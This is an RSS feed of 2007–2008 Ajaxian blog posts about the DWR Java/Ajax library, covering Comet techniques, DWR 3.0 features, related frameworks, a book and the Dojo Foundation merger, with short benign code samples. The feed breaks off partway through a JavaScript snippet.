<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ajaxian &#187; DWR</title>
	<atom:link href="http://ajaxian.com/by/topic/dwr/feed" rel="self" type="application/rss+xml" />
	<link>http://ajaxian.com</link>
	<description>Cleaning up the web with Ajax</description>
	<lastBuildDate>Tue, 22 May 2012 21:45:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
    	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Comet and Highly Interactive Websites &#8211; Joe Walker, @Media Ajax</title>
		<link>http://ajaxian.com/archives/comet-and-highly-interactive-websites-joe-walker-media-ajax</link>
		<comments>http://ajaxian.com/archives/comet-and-highly-interactive-websites-joe-walker-media-ajax#comments</comments>
		<pubDate>Tue, 16 Sep 2008 09:27:33 +0000</pubDate>
		<dc:creator>Michael Mahemoff</dc:creator>
				<category><![CDATA[Comet]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=4473</guid>
		<description><![CDATA[Joe Walker of DWR fame on Comet at @media Ajax. Motivation for Comet Interested in what our friends are up to, even if no-one else cares (as twitter illustrates). And also interested in what systems/things are doing, not just people. Chat (meebo), collaborative editing (google docs), streaming financial data (lightstreamer), async updates (yes.com), online gaming, <a href="http://ajaxian.com/archives/comet-and-highly-interactive-websites-joe-walker-media-ajax">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://directwebremoting.org/blog/joe">Joe Walker</a> of DWR fame on Comet at @media Ajax.</p>
<h3>Motivation for Comet</h3>
<p>Interested in what our friends are up to, even if no-one else cares (as twitter illustrates). And also interested in what systems/things are doing, not just people. Chat (meebo), collaborative editing (google docs), streaming financial data (lightstreamer), async updates (yes.com), online gaming, async server processing (polar rose, i.e. shift processing complexity to the server &#8211; note this could be seen as an alternative to Gears-style local processing in some situations).</p>
<p>The web was designed to be connectionless &#8211; Comet blatently aims to make it connected.</p>
<h3>Performance</h3>
<p>Actually does scale. Joe shows the following graph:</p>
<p><a href="http://cometdaily.com/2008/01/07/20000-reasons-that-comet-scales/"><img alt="" src="http://cometdaily.com/wp-content/uploads/2008/01/bayeuxbench1.png" title="Jetty Comet performance" class="alignnone" width="550" height="367" /></a></p>
<h3>Technical</h3>
<p>Seven ways (!) to implement Comet.</p>
<p>Long polling &#8211; &#8220;slow&#8221; XHR request. Server doesn&#8217;t answer immediately. Special part of HTTP to do this &#8211; chunked mode. However, IE &#8220;lies to you&#8221; &#8211; keeps saying it&#8217;s got something, but you can&#8217;t actually inspect it.</p>
<p>Forever frame &#8211; Send text/plain and 4k whitespace to flush IE&#8217;s buffer. Flush with script tag for each data block. Must keep restarting to avoid memory leak.</p>
<p>Script tags &#8211; Dynamic script blocks, can point to any domain.</p>
<p>WebSockets &#8211; HTML 5 standard. Cleaner solution.</p>
<p>ActiveXObject(&#8220;htmlfile&#8221;) &#8211; htmlfile is an activeX control similar to XHR. Normally causes &#8220;clicking&#8221; noise in browser, but there&#8217;s a hack to turn it off in most cases. Obviously, this only works in IE. Most bizzare thing is you get 49 Javascript before garbage collection, leading to hair-pulling moments when you try to work out why your 50th command isn&#8217;t executing!</p>
<p>Mime messaging &#8211; &#8220;What push was built on 11 years ago&#8221; &#8211; x-multipart-replace. Works really well, though with memory leakage issues, but not in IE and historically not in the other browsers either.</p>
<p>Flash remoting</p>
<p>Forever GIF (bonus technique) &#8211; keep sending out new slices of an animated GIF!</p>
<h3>Technical Issues</h3>
<p>Co-ordination when browser has multiple tabs open to the same server &#8211; using window.name or cookies, but better solution is multi-home DNS &#8211; each call points to the server using a different name (1.example.com, 2.example.com etc all pointing to the same IP address).</p>
<p>Issues detecting when browser or connection has broken.</p>
<p>Proxies which don&#8217;t let the stream go through in real-time &#8211; hold on to the chunks for a while before releasing them all at once. Can detect if this is happening from the browser using a timestamp technique.</p>
<p>&#8230; so just like with Ajax, we have to come up with hacks, likewise with Comet. Facebook and GMail show it&#8217;s possible to work around these problems and get Comet working at scale.</p>
<h3>API Styles</h3>
<p>e.g. with WebSocket you&#8217;re simply posting and receiving data. Event handlers for onOpen, onRead etc. Joe says this will be too low-level in many cases, hence the following styles.</p>
<p>PubSub &#8211; e.g. cometd. Low coupling (server-browser separation &#8211; Joe describes demo where servers hot-swapped without affecting client), inter-language interop. Good analogy to SOAP, which has gradually shifted from RPC to document exchange.</p>
<p>API &#8211; this looks to me like Ruby&#8217;s remote JS &#8211; server controls what&#8217;s happening on the browser. e.g. <em>Effect.shake(&#8220;price&#8221;)</em> on the server will make the price div shake on the client.</p>
<p>Data Syc API &#8211; Keep changing/updating data store. Simplest to understand.</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/comet-and-highly-interactive-websites-joe-walker-media-ajax/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>DWR 3.0 Features, Interview with Joe Walker</title>
		<link>http://ajaxian.com/archives/dwr-30-features-interview-with-joe-walker</link>
		<comments>http://ajaxian.com/archives/dwr-30-features-interview-with-joe-walker#comments</comments>
		<pubDate>Fri, 07 Mar 2008 11:38:17 +0000</pubDate>
		<dc:creator>Rey Bango</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=3414</guid>
		<description><![CDATA[SitePen&#8217;s Dylan Schiemann has posted about the recent InfoQ interview of Joe Walker and the upcoming release of DWR 3.0. The newest features for DWR include: Offline Support (Google Gears and/or Dojo Offline) TIBCO General Interface integration Aptana Jaxer integration OpenAjax Hub, PubSub, Bayeux, etc. Joe gave a nice example of how the offline functionality <a href="http://ajaxian.com/archives/dwr-30-features-interview-with-joe-walker">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>SitePen&#8217;s <a href="http://www.sitepen.com/blog/author/Dylan/">Dylan Schiemann</a> has <a href="http://www.sitepen.com/blog/2008/03/06/dwr-30-update/">posted about</a> the recent <a href="http://www.infoq.com/news/2008/03/dwr_3.0">InfoQ interview of Joe Walker</a> and the upcoming release of DWR 3.0.  The newest features for DWR include: </p>
<ul>
<li>Offline Support (Google Gears and/or Dojo Offline)</li>
<li>TIBCO General Interface integration</li>
<li>Aptana Jaxer integration</li>
<li>OpenAjax Hub, PubSub, Bayeux, etc.</li>
</ul>
<p>Joe gave a nice example of how the offline functionality could work:</p>
<blockquote><p>For example, InfoQ uses DWR. If we get it right, it should be easy for you to make it so that if the network dies while a user is writing a comment, then the comment doesn&#8217;t get lost. When the network is next up, and the user visits InfoQ, the comment will be resent then. It&#8217;s a cool feature, and using DWR it should come almost for free.</p></blockquote>
<p>DWR 3.0 is set to be released in June.</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwr-30-features-interview-with-joe-walker/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iWebMvc: DWR, Dojo, Spring and Hibernate/JPA</title>
		<link>http://ajaxian.com/archives/iwebmvc-dwr-dojo-spring-and-hibernatejpa</link>
		<comments>http://ajaxian.com/archives/iwebmvc-dwr-dojo-spring-and-hibernatejpa#comments</comments>
		<pubDate>Wed, 05 Mar 2008 12:31:01 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Dojo]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Library]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=3404</guid>
		<description><![CDATA[Joe Walker tipped me off to a preview of iWebMvc which is meta framework that ties together DWR, Dojo, Spring and Hibernate/JPA a la AppFuse or Grails. It is created by Jose Noheda, a DWR commiter, and the project aims are: Is based on Java Although supporting Grooy / JRuby is a plus Helps me <a href="http://ajaxian.com/archives/iwebmvc-dwr-dojo-spring-and-hibernatejpa">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/internna/"><img src="http://ajaxian.com/wp-content/images/iwebmvc-screenshot.png" border="0" /></a></p>
<p>Joe Walker <a href="http://getahead.org/blog/joe/2008/03/04/iwebmvc_preview.html">tipped me off</a> to a preview of <a href="http://code.google.com/p/internna/">iWebMvc</a> which is meta framework that ties together DWR, Dojo, Spring and Hibernate/JPA a la AppFuse or Grails. </p>
<p>It is created by Jose Noheda, a DWR commiter, and the project aims are:</p>
<ul>
<li><b>Is based on Java</b><br />
<br />Although supporting Grooy / JRuby is a plus</li>
<li><b>Helps me to kick start a project</b><br />
<br />But simplifying the process by giving me the best (and this can be tricky) set of frameworks for each task</li>
<li><b>Integrates both server and client sides</b><br />
<br />And it&#8217;s lightweight, robust and extensible. Read <i>enterprise quality</i>.</li>
<li><b>Supports all the common tasks a web app has to handle</b><br />
<br />I include here: User Management, CRUD operations, i18n support (both framework &amp; data), AJAX and astounding visuals</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/iwebmvc-dwr-dojo-spring-and-hibernatejpa/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Book: Practical DWR 2</title>
		<link>http://ajaxian.com/archives/book-practical-dwr-2</link>
		<comments>http://ajaxian.com/archives/book-practical-dwr-2#comments</comments>
		<pubDate>Fri, 01 Feb 2008 11:24:38 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=3274</guid>
		<description><![CDATA[Frank Zammetti has authored the first book dedicated to DWR, Practical DWR 2 (Amazon). Joe Walker wrote a foreward which he posted, and here is Frank&#8217;s personal message: Ajax represents a brave, new(ish) world of web development where coding on the client is just as important as on the server side. Hundreds of libraries exist <a href="http://ajaxian.com/archives/book-practical-dwr-2">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://getahead.org/images/apress-dwr-book.jpg" border="0" style="float: right; padding: 8px;" /></p>
<p>Frank Zammetti has authored the first book dedicated to DWR, <a href="http://www.apress.com/book/search?searchterm=zammetti&#038;act=search">Practical DWR 2</a> (<a href="http://www.amazon.com/Practical-DWR-Projects/dp/1590599411/ref=sr_1_4?ie=UTF8&#038;s=books&#038;qid=1201563857&#038;sr=8-4">Amazon</a>). </p>
<p>Joe Walker <a href="http://getahead.org/blog/joe/2008/01/28/the_roller_coaster_of_open_source.html">wrote a foreward which he posted</a>, and here is Frank&#8217;s personal message:</p>
<blockquote><p>
Ajax represents a brave, new(ish) world of web development where coding on the client is just as important as on the server side. Hundreds of libraries exist that purport to make it easier for you, and thereâ€™s always the &#8220;Do It Yourself&#8221; approach. Which route should you take?</p>
<p>If you work with Java technologies, one choice that stands out is DWR, or Direct Web Remoting. With DWR, JavaScript-based client code that calls server-side objects works as if it were all running in the same process space. The simplicity and power DWR blends together has few rivals today.</p>
<p>In this, the first DWR book to be published, youâ€™ll be introduced to DWR and all it has to offer, including reverse Ajax, XML and annotation-based configuration, container-managed security, simple POJO-based development, and greatly simplified client-side coding. Youâ€™ll learn by doing as you explore six fully functional applications including the following:</p>
<ul>
<li>A webmail client for remotely accessing your e-mail accounts</li>
<li>A wiki for collaborative efforts</li>
<li>A file manager for remotely managing your serverâ€™s file system</li>
<li>A portal for enterprise reporting needs</li>
<li>A project management/time-tracking system</li>
<li>Even a fun little game!</li>
</ul>
<p>In addition to DWR, youâ€™ll also see how other popular libraries help realize the RIA/Web 2.0 vision, including Spring, Hibernate, dHTMLx, DataVision, Freemarker, and Ext JS. If you&#8217;re doing RIA development in Java, DWR is for you, as too is this book.</p>
<p>(and if you like sci-fi and pop culture references strewn throughout your reading material, and a touch of wise a**-edness too, you&#8217;re in for a good time to boot!)
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/book-practical-dwr-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DWR/TIBCO GI Integration: gi.js</title>
		<link>http://ajaxian.com/archives/dwrtibco-gi-integration-gijs</link>
		<comments>http://ajaxian.com/archives/dwrtibco-gi-integration-gijs#comments</comments>
		<pubDate>Wed, 16 Jan 2008 10:40:21 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[TIBCO]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=3213</guid>
		<description><![CDATA[Joe Walker has released the DWR/TIBCO GI integration library: gi.js is a library to help integrate DWR with TIBCO GI. It is due for official release with DWR 3.0, however it is reasonably stable now, and will probably only undergo performance tweaking before the official 3.0 release. Since it doesn't have any dependencies on DWR, <a href="http://ajaxian.com/archives/dwrtibco-gi-integration-gijs">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>Joe Walker has released the <a href="http://getahead.org/dwr/browser/gi">DWR/TIBCO GI integration library</a>:</p>
<blockquote>
<p><code>gi.js</code> is a library to help integrate DWR with <a href="http://www.tibco.com/mk/gi/?CID=AJAXIAN">TIBCO GI</a>. It is due for official release with DWR 3.0, however it is reasonably stable now, and will probably only undergo performance tweaking before the official 3.0 release.</p>
<p>Since it doesn't have any dependencies on DWR, it can be used without waiting for an official release. The best place to download it is either via a milestone release of DWR (see the <a href="https://dwr.dev.java.net/servlets/ProjectDocumentList">java.net download page</a>), or through the FishEye view of the DWR CVS repository. See this <a href="http://fisheye5.cenqua.com/browse/%7Eraw,r=MAIN/dwr/java/org/directwebremoting/gi.js">direct link to gi.js</a>.</p>
</blockquote>
<p>The article walks through a simple example integrating with a fake social network backend:</p>
<div class="igBar"><a href="javascript:showCodeTxt('javascript-2');">PLAIN TEXT</a></div>
<div class="syntax_hilite"><span style="color:#000000; font-weight:bold;">JAVASCRIPT:</span>
<div id="javascript-2">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">SocialNetwork.<span style="color: #006600;">getFriends</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color:#006600; font-weight:bold;">&#40;</span>friendList<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #003366; font-weight: bold;">var</span> cdf = dwr.<span style="color: #006600;">gi</span>.<span style="color: #006600;">toCdfDocument</span><span style="color:#006600; font-weight:bold;">&#40;</span>friendList, <span style="color: #3366CC;">"jsxid"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; giApp.<span style="color: #006600;">getCache</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color: #006600;">setDocument</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #3366CC;">"friendDataId"</span>, cdf<span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; giApp.<span style="color: #006600;">getJSXByName</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #3366CC;">'friendMatrix'</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color: #006600;">repaint</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;&nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwrtibco-gi-integration-gijs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DWR State of the Union</title>
		<link>http://ajaxian.com/archives/dwr-state-of-the-union</link>
		<comments>http://ajaxian.com/archives/dwr-state-of-the-union#comments</comments>
		<pubDate>Thu, 20 Dec 2007 15:16:50 +0000</pubDate>
		<dc:creator>Rey Bango</dc:creator>
				<category><![CDATA[Dojo]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=3138</guid>
		<description><![CDATA[When the news broke that DWR had joined the Dojo Foundation, it left a lot of questions regarding the future of the DWR framework. Joe Walker aims to address the future of DWR in his recent post, DWR: State of the Union. So DWR is now part of the Dojo Foundation. I thought it would <a href="http://ajaxian.com/archives/dwr-state-of-the-union">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>When the news broke that <a href="http://getahead.org/dwr">DWR </a>had joined the <a href="http://dojotoolkit.org/foundation">Dojo Foundation</a>, it left a lot of questions regarding the future of the DWR framework.  Joe Walker aims to address the future of DWR in his recent post, <a href="http://getahead.org/blog/joe/2007/12/20/dwr_state_of_the_union.html">DWR: State of the Union</a>.</p>
<blockquote><p>So DWR is now part of the Dojo Foundation. I thought it would be good to quickly summarize where we are, and what I'm working on, and to give everyone a chance to comment.</p>
<p>DWR 2.0 has been out for 6 months or so. At the time, I swore that the next release would be a small one, called 2.1. However it appears that Iâ€™m not good at swearing because there is lots in the next release - I think weâ€™re going to have to call it 3.0.</p></blockquote>
<p>The next release of DWR looks feature rich adding enhanced JSON support and Gears integration among other things. </p>
<p>All of the upcoming updates to DWR v3.0 are <a href="http://getahead.org/blog/joe/2007/12/20/dwr_state_of_the_union.html">detailed by Joe in his post</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwr-state-of-the-union/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DWR joins the Dojo Foundation &#8211; Joe Walker joins SitePen</title>
		<link>http://ajaxian.com/archives/dwr-joins-the-dojo-foundation-joe-walker-joins-sitepen</link>
		<comments>http://ajaxian.com/archives/dwr-joins-the-dojo-foundation-joe-walker-joins-sitepen#comments</comments>
		<pubDate>Tue, 11 Dec 2007 11:56:58 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/archives/dwr-joins-the-dojo-foundation-joe-walker-joins-sitepen</guid>
		<description><![CDATA[I am really excited to post this piece of news, as I genuinely like everyone involved. At the last Ajax Experience, Alex Russell and Joe Walker gave a joint keynote. At one point it was going to be slightly different, but this news hadn't been totally completed so it was held off (having to start <a href="http://ajaxian.com/archives/dwr-joins-the-dojo-foundation-joe-walker-joins-sitepen">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>I am really excited to post this piece of news, as I genuinely like everyone involved. At the last Ajax Experience, Alex Russell and Joe Walker gave a joint keynote. At one point it was going to be slightly different, but this news hadn't been totally completed so it was held off (having to start a UK company, blah blah).</p>
<p>The news is that <b>DWR has joined the Dojo Foundation</b>. This is all thanks to SitePen, which Joe Walker has joined (technically, he has joined the UK Ltd etc).</p>
<p>I am excited to see what will come out of a closer collaboration. Ben recently had to implement a dashboard that needed to tie in to backend Java code, and DWR was a breeze and handled everything for him, including batching, which meant that only a few larger transactions were occurring instead of millions of little calls.</p>
<p>Anyway, back to the news:</p>
<blockquote><p>
â€œSitePen has experienced significant growth this year and weâ€™re well<br />
aware of the amazing talent and opportunity that will open up by<br />
expanding in the UK, and all of Europe for that matter,â€ said SitePen<br />
CEO, Dylan Schiemann.  â€œHaving a developer as talented as Joe Walker<br />
join SitePen and head up our UK operations is an amazing win for SitePen<br />
and its clients, who will now have access to even more valuable<br />
expertise with DWR and related technologies.â€</p>
<p>       DWR is an important open source library for Ajax and Java developers<br />
because it simplifies development of applications based on Ajax, Reverse<br />
Ajax, and Comet techniques.  DWR will become part of the Dojo<br />
Foundation, home of the Dojo Toolkit, Cometd and OpenRecord projects.<br />
All Dojo Foundation projects exist separately, preserving flexibility<br />
and choice for the varying development communities.</p>
<p>       â€œSitePen is an extremely forward-thinking company that understands the<br />
tremendous value of open source and Iâ€™m excited to be a part of it,â€<br />
said Joe Walker. â€œDonating DWR to the Dojo Foundation will allow for<br />
increased adoption and a stable environment in a great organization.â€</p>
<p>       â€œDevelopment teams, both small and large, have quickly discovered the<br />
benefits of using DWR in conjunction with leading Ajax libraries like<br />
Dojo, TIBCO General Interface, Scriptaculous, and others.  "DWR joining<br />
the Dojo Foundation is a great win for the DWR community,"  said Kevin<br />
Hakman, director, TIBCO Software, Inc. who has been a corporate sponsor<br />
of DWR's development for more than a year. "The close alignment of these<br />
projects, and the anticipated integration points between them, will<br />
serve to further simplify creating Ajax applications for Java developers."
</p></blockquote>
<p>A huge congrats to Joe, Dylan, Alex, and the rest of the teams.</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwr-joins-the-dojo-foundation-joe-walker-joins-sitepen/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Joe Walker shows a tip from DWR.Next</title>
		<link>http://ajaxian.com/archives/joe-walker-shows-a-tip-from-dwrnext</link>
		<comments>http://ajaxian.com/archives/joe-walker-shows-a-tip-from-dwrnext#comments</comments>
		<pubDate>Fri, 05 Oct 2007 12:59:50 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=2855</guid>
		<description><![CDATA[I asked Joe to show us something interesting that he is playing with on DWR and he quickly obliged by showing us a new file upload and download feature that allows you to do new fancy things with files. What is cool about this is that the APIs from Java and JavaScript lands feel right <a href="http://ajaxian.com/archives/joe-walker-shows-a-tip-from-dwrnext">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>I asked Joe to show us something interesting that he is playing with on DWR and he quickly obliged by showing us a new file upload and download feature that allows you to do new fancy things with files.</p>
<p>What is cool about this is that the APIs from Java and JavaScript lands feel right in each, but to do this DWR has to do a lot of fancy work to hide the details.</p>
<p>In Java land you write something like the following, which uses Java BufferedImages.</p>
<div class="igBar"><a href="javascript:showCodeTxt('java-5');">PLAIN TEXT</a></div>
<div class="syntax_hilite"><span style="color:#000000; font-weight:bold;">JAVA:</span>
<div id="java-5">
<div class="java">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> FileUploader <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; ...</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000000; font-weight: bold;">public</span> <a href="http://www.google.com/search?q=allinurl%3ABufferedImage+java.sun.com&#038;bntl=1"><span style="color: #aaaadd; font-weight: bold;">BufferedImage</span></a> uploadFiles<span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.google.com/search?q=allinurl%3ABufferedImage+java.sun.com&#038;bntl=1"><span style="color: #aaaadd; font-weight: bold;">BufferedImage</span></a> uploadImage, <a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&#038;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> uploadFile, <a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&#038;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> color<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; uploadImage = scaleToSize<span style="color:#006600; font-weight:bold;">&#40;</span>uploadImage<span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; uploadImage = grafitiTextOnImage<span style="color:#006600; font-weight:bold;">&#40;</span>uploadImage, uploadFile, color<span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> uploadImage;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; ...</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<p>But a BufferedImage means nothing to JavaScript, but that is fine... in JavaScript land you just use the nodes (or so you think).</p>
<div class="igBar"><a href="javascript:showCodeTxt('javascript-6');">PLAIN TEXT</a></div>
<div class="syntax_hilite"><span style="color:#000000; font-weight:bold;">JAVASCRIPT:</span>
<div id="javascript-6">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> uploadFiles<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #003366; font-weight: bold;">var</span> image = dwr.<span style="color: #006600;">util</span>.<span style="color: #006600;">getValue</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #3366CC;">'uploadImage'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #003366; font-weight: bold;">var</span> file&nbsp; = dwr.<span style="color: #006600;">util</span>.<span style="color: #006600;">getValue</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #3366CC;">'uploadFile'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
